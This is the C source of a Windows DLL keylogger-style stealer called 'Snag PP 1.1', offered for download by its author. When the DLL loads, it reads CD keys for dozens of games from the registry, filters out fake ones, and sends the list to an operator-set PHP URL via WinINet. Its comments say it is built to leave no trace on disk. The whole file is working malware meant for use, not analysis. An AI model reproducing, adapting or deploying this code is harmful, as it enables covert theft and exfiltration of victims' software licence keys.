/**********************************
Snag PP 1.1 source by r3L4x
this was downloaded from r3L4x.com!
Go there to get tons of other 
source codes to things i have made
***********************************/

#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /stub:stub.exe")
#pragma comment(linker,"/INCREMENTAL:NO /FILEALIGN:512")
#pragma comment(linker,"/ENTRY:Entrypoint /MERGE:.rdata=.text /MERGE:.data=.text") 
#pragma comment(lib, "msvcrt.lib")		/*Smallness*/
#pragma comment(lib, "wininet.lib")		/*Inet functions */

//Headers
#include <windows.h>	/*Win32 API*/
#include <stdio.h>		/*Easy IO*/
#include <wininet.h>	/*Inet functions */
#include <winreg.h>		/*reg functions */

void GrabKeys();
void PHPLog();

//PHP Script Address - replaced by editor w/ users url
char PHPAddress[128] = "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&";
char *ListOfKeys;

struct items 
{
  char *GameName;
  HKEY RootKey;
  char *SubKey;
  char *ValueName;
};

//CDKey List, With GameNames and Registry Entries
//Here Is Where You Would Add New Games If You Wanted Too
//[Display Name][Root Key][Sub Key][Key Name]
items CDKeyList[] = { 
{"Battlefield 1942", HKEY_LOCAL_MACHINE,"SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942\\ergc", ""},
{"Battlefield 1942 Secret Weapons Of WWII", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 Secret Weapons of WWII\\ergc", ""},
{"Battlefield 1942 The Road To Rome", HKEY_LOCAL_MACHINE,"SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 The Road to Rome\\ergc", ""},
{"Battlefield 1942 Vietnam", HKEY_LOCAL_MACHINE,"SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield Vietnam\\ergc", ""},
{"Black and White", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Black and White\\ergc", ""},
{"Chrome", HKEY_LOCAL_MACHINE, "Software\\Techland\\Chrome", "SerialNumber"},
{"Command and Conquer Generals", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Generals\\ergc", ""},
{"Command and Conquer Generals: Zero Hour", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Command and Conquer Generals Zero Hour\\ergc", ""},
{"Command and Conquer Red Alert 2", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Red Alert 2", "Serial"},
{"Command and Conquer Tiberian Sun", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Tiberian Sun", "Serial"},
{"Counter-Strike", HKEY_CURRENT_USER, "Software\\Valve\\CounterStrike\\Settings", "Key"},
{"FIFA 2002", HKEY_LOCAL_MACHINE, "Software\\Electronic Arts\\EA Sports\\FIFA 2002\\ergc", ""},
{"FIFA 2003", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2003\\ergc", ""},
{"Freedom Force", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Distribution\\Freedom Force\\ergc", ""},
{"Global Operations", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Global Operations\\ergc", ""},
{"Gunman Chronicles", HKEY_CURRENT_USER, "Software\\Valve\\Gunman\\Settings", "Key"},
{"Half-Life", HKEY_CURRENT_USER, "Software\\Valve\\Half-Life\\Settings", "Key"},
{"Hidden and Dangerous 2", HKEY_LOCAL_MACHINE, "SOFTWARE\\Illusion Softworks\\Hidden & Dangerous 2", "key"},
{"IGI2: Covert Strike", HKEY_LOCAL_MACHINE, "SOFTWARE\\IGI 2 Retail\\CDKey", "CDkey"},
{"Industry Giant 2", HKEY_CURRENT_USER, "Software\\JoWooD\\InstalledGames\\IG2", "prvkey"},
{"James Bond 007 Nightfire", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\James Bond 007 Nightfire\\ergc", ""},
{"Legends of Might and Magic", HKEY_CURRENT_USER, "Software\\3d0\\Status", "CustomerNumber"},
{"Medal of Honor Allied Assault", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault\\ergc", ""},
{"Medal of Honor Allied Assault: Breakthrough", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Breakthrough\\ergc", ""},
{"Medal of Honor Allied Assault: Spearhead", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Spearhead\\ergc", ""},
{"Nascar Racing 2002", HKEY_LOCAL_MACHINE, "Software\\Electronic Arts\\EA Sports\\Nascar Racing 2002\\ergc", ""},
{"Nascar Racing 2003", HKEY_LOCAL_MACHINE, "Software\\Electronic Arts\\EA Sports\\Nascar Racing 2003\\ergc", ""},
{"Need For Speed Hot Pursuit 2", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Hot Pursuit 2\\ergc", ""},
{"Need For Speed Underground", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Underground\\ergc", ""},
{"NHL 2002", HKEY_LOCAL_MACHINE, "Software\\Electronic Arts\\EA Sports\\NHL 2002\\ergc", ""},
{"NHL 2003", HKEY_LOCAL_MACHINE, "Software\\Electronic Arts\\EA Sports\\NHL 2003\\ergc", ""},
{"NOX", HKEY_LOCAL_MACHINE, "Software\\Westwood\\Nox", "Serial"},
{"Rainbow Six III RavenShield", HKEY_LOCAL_MACHINE, "SOFTWARE\\Red Storm Entertainment\\RAVENSHIELD", "CDKey"},
{"Shogun Total War Warlord Edition", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Shogun Total War - Warlord Edition\\ergc", ""},
{"Soldiers Of Anarchy", HKEY_CURRENT_USER, "Software\\Silver Style Entertainment\\Soldiers Of Anarchy\\Settings", "CDKey"},
{"The Gladiators", HKEY_CURRENT_USER, "Software\\Eugen Systems\\The Gladiators", "RegNumber"},
{"Unreal Tournament 2003", HKEY_LOCAL_MACHINE, "SOFTWARE\\Unreal Technology\\Installed Apps\\UT2003", "CDKey"},
{"Unreal Tournament 2004", HKEY_LOCAL_MACHINE, "SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey"},
};
			
void Entrypoint(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH) 
	{//***
		ListOfKeys = new char[2048];
		memset(ListOfKeys, 0, 2048);

		GrabKeys();
		lstrcat(PHPAddress, "?k=");
		lstrcat(PHPAddress, ListOfKeys);
		PHPLog();
	}//***
	//unload our selve so to not be in use
	//so no trace of dll on hard drive
	//because it is deleted by the loader
	FreeLibrary(GetModuleHandle("win32.dll")); 
}

void GrabKeys()
{
	#define arraysize(x) (sizeof(x) / sizeof(x[0]))
	int i;
	HKEY Handle = NULL;
	DWORD SizeBuffer = 128;
	unsigned char ReturnValue[128];
	char ret[128];
	
	//do a loop for the size of the cdkey array
	for (i = 0; i < arraysize(CDKeyList); i++)
	{
		//try and open the key up
		if (RegOpenKeyEx(CDKeyList[i].RootKey, CDKeyList[i].SubKey, 0, KEY_READ, &Handle) == ERROR_SUCCESS)
		{
			//read what it says
			if (RegQueryValueEx(Handle, CDKeyList[i].ValueName, NULL, NULL, ReturnValue, &SizeBuffer) == ERROR_SUCCESS) 
			{
				RegCloseKey(Handle);
				//since lots of people use fake keys for some reason, this just
				//trys to take them out
				if (lstrcmpi((const char *)ReturnValue, "") != 0 && lstrcmpi((const char *)ReturnValue, "1234567890123") != 0)
				{
					sprintf(ret, "[%s: %s]<br>", CDKeyList[i].GameName, ReturnValue);
					lstrcat(ListOfKeys, ret);
				}
			}	
			RegCloseKey(Handle);
		}
	}
}

//Send Keys To PHP Script
void PHPLog()
{
	//this will open up a web page for php logging
	HINTERNET hSession;
	hSession = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
	
	if (hSession == NULL){return;}

	InternetCloseHandle(InternetOpenUrl(hSession, PHPAddress, NULL, 0, INTERNET_FLAG_RELOAD, 0));
	InternetCloseHandle(hSession);
}
